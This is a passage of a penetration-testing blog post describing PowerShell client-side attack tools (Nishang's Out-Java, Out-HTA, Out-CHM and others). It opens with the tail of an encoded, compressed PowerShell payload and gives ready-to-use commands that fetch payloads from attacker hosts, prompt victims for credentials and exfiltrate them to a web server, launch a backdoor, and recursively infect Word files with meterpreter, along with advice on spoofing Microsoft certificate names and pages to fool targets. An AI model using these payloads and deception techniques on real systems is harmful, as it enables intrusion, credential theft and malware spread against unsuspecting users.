FEAegA1AEgAbQAyAEkAYgBvAGcANABmAEoAbAB3AEoAagBxAEYAVwBrAHIAZQBWAEUAOQBwADMAawB0AFMAQgBpADYAawBoAGMAVgAyAG0AeAB0AEMARQBFAHUAQgAvAHQAbgBRADkAcwA2AEgAYwAwAE8ASwBZADIAaABuAHEAcgB4AGMAVQBnAGgAWQBpAGwAOAByAHUASAAxAHMAWQBBAGcAWAByAGcANABrAHEAQQB1AHIAUAB4AEoAYwBPAE0ALwBWAHUAbQBqAGsASQBIAGcARABuAEEAYwBsAFAAWgBGAHMAeQBUAG0ASABpAHMAWABaAGkANgBOAFkAcABXAEEAdgBpAEUAUQBPADgANwBzAG4AYwBPAHkAUQBoAGMASwBRAGwAMwB0AFIAMgBOADEAZwA2AEkARABlAFQAcABZAGwAUwBxAHgAbABkAFUAQgBHAHMAaABuAGgAegB2AFIAUQBUAGsAUQA5ADIAbQBmAEgAQwBPADkATAArAFUAaABSAGcAcgByADkAcQA0AEkAUgA5AGYATAB5AG8AaABqAHYAbABpAEcAawB5AFoATAAzAG0ANQBYAGsAdABPAEkAQQA5AEsANgBHAGgAYgBBAFQAbwBkAFAAMABNAEgAOABnAG0AcwA0AFkAYQBDAHEAWQBPAHgAdABRAGkASABFAEkAMABmAFIASQBRAHYATwBDADEAQQAzAGYANgBlAEwARgByAGkAdABZAG8AQgBQAHYAaABkAHoAKwAvAG0AZgA1AHoARgBUACsAZgBuAHYANAB2AHYAYQAvAE0AcgBQADUAMgAyAGYAcgAxAE0AWQB6AGsAUAArAFgAbwAxAG4AYwA3AEQAeAAwAEcAVAA3AHYAUQBkAHkAegA3AHgATgBTAGIATQBOAEkAZQBRAFkAWABIAEgAOQBBADYAQgBJAHMAawBMAE0AdQBqAGYATAA5ADUAZABVADcAcQA3AGYASwBpAFMAMQArAGEAcgA1AHAAUwBNAFUAawBaADAAaQBLAFAAeABzAEcAVgA0AGMAagBJAGsAMwA3AG8AZABjAGkAUgB6AC8AegBPAHoAcgBQADkAbQBWAG8ATgBHAFMASwBlAEwAWABLAHoAYQAxAG0AQgA0ADAAZwBRAGEARwBxADAAZgBpADIAVgB6AGIAMgBXAFEAOABaAEIAOABKADkAYwBWAEgAMQAxAFYAYQBkAHIAdAAvAEgAUAA4AC8AegBPAGQAdABuADQARABSAGEAaABHAGcAOQBPAEEAZQBSADMANQB3ADMAcQBUAHMAcwBGAFkAUABBAHYAWgBaAGMAcgBZAGoAawBDAEsARQBQAEoAZgAnACkAKQApACkALAAgAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA" In case, someone wants to run 64-bit shellcode, just remove the if condition from Java source. It has been marked with a comment. Below options are hardcoded in Out-Java for certificate creation and JAR signing, change those for customization: $KeystoreAlias = "SignApplet" $KeyStore = "PSKeystore" $StorePass = "PSKeystorePass" $KeyPass = "PSKeyPass" $DName = "cn=Windows Update, ou=Microsoft Inc, o=Microsoft Inc, c=US" These are deliberately not asked for in the PowerShell parameters to keep the usage simple. BTW, the latest Java version shows really ugly warning to the users, so using a valid certificate would increase chances of successful attacks. Still, I have not seen many targets who pay attention to such warnings. Also, the HTML generated using Out-Java loads a live Microsoft page in an attempt to make it look authentic. The better option is to clone a page and use it but that has not been done. If I feel like, that would be added in a future release. Sadly, I was unable to achieve the PowerShell execution from applet for my DeepSec talk. Anyway, now it works. References for this have been taken from David Kennedy’s Social Engineering Toolkit. Also, what got md working again on this was Piotr Marszalik’s Ps1encode Out-HTA Out-HTA uses HTML application (HTA) to achieve PowerShell command and script execution. It generates HTA and VBS files which need to be hosted on a web server and a target needs to click/open the URL. Like the other client side attacks we have been discussing, Out-HTA accepts as a payload – commands, encoded scripts and download-execute scripts. A quick example is shown below: PS C:\nishang> Out-HTA -Payload "powershell -ExecutionPolicy Bypass -noprofile -c Get-Service" Out-HTA also handles large encoded scripts really well, so that would be the best to use in this case. The flip side of using HTA is the loud warnings Internet explorer shows to the user. If the user sees FireFox, it appears to be similar to downloading an executable. Out-HTA loads live page of Windows Defender from Microsoft’s website in an attempt to trick a user. Out-CHM Out-CHM creates Compiled HTML Help file (CHM) which could execute PowerShell scripts and commands on the target. We need hhc.exe (HTML Help Workshop) on the attacker’s machine. HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link: Download HTML Help Workshop and Documentation from Official Microsoft Download Center A quick example of using Out-CHM is below: PS C:\nishang> Out-CHM –PayloadURL http://192.168.254.1/ps_payload64.ps1 –HHCPath “C:\Program Files (x86)\HTML Help Workshop” Out-CHM uses files from tcp/ip help file in Windows to make the file look authentic. We could always add more html files to make it look like a real document. Larger scripts, if used encoded, may result in problems. Out-CHM is based on this tweet by @ithurricanept https://twitter.com/ithurricanept/status/534993743196090368 Common Features and shortcomings - All scripts run PowerShell in a new process, so closing the attack vector, be it an attachment or a link, would have no effect on the script being executed. - Each script accepts encoded scripts, commands and one line download-execute. - The attacks are not very hard to detect manually. More needs to be done on that part. Better/Complex Attacks Lets see some more attacks which take us beyond just meterpreter. These are also on the slides of my talk but lets see some here too: Exfiltration of credentials from a target: PS C:\nishang> Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments "Credentials | Do-Exfiltration –ExfilOption Webserver -URL http://192.168.254.183/test/data.php" Above command calls the Credentials function from Powerpreter which shows a password prompt to target user. This prompt doesn’t go away till valid local or domain credentials are entered. The output of Credentials function is piped to Do-Exfiltration which exfiltrates those to a web server in encoded format. The web server must log POST requests. The logs from the web server could be decoded using Invoke-Decode;. Running a backdoor with new communications channel: PS C:\nishang> Out-Excel -PayloadURL “http://192.168.254.1/Gupt-Backdoor.ps1” –Arguments "Gupt-backdoor -MagicString op3n –Verbose” Above command runs the Gupt Backdoor on the target. Executing other client side attacks: PS C:\nishang> Out-Java -PayloadURL “http://192.168.254.1/Out-Word.ps1” –Arguments “Out-Word -PayloadURL http://192.168.254.1/meterpreter_payload.ps1 -WordFileDir C:\ -Recurse” Above command, uses Out-Java to execute Out-Word on a target. Out-Word then infects all Word files in C:\ recursively. Such files when opened, would execute meterpreter PowerShell script. There are endless possibilities for such and even better attacks. All the above discussed code has been committed to Nishang under the Client directory. You could grab it from here: https://github.com/samratashok/nishang Again, the slides for my DeepSec talks could be found here. Hope you enjoy this and the code and the post turns out to be useful. Posted by Nikhil SamratAshok Mittal at 11:30 PM Sursa: Lab of a Penetration Tester: Using PowerShell for Client Side Attacks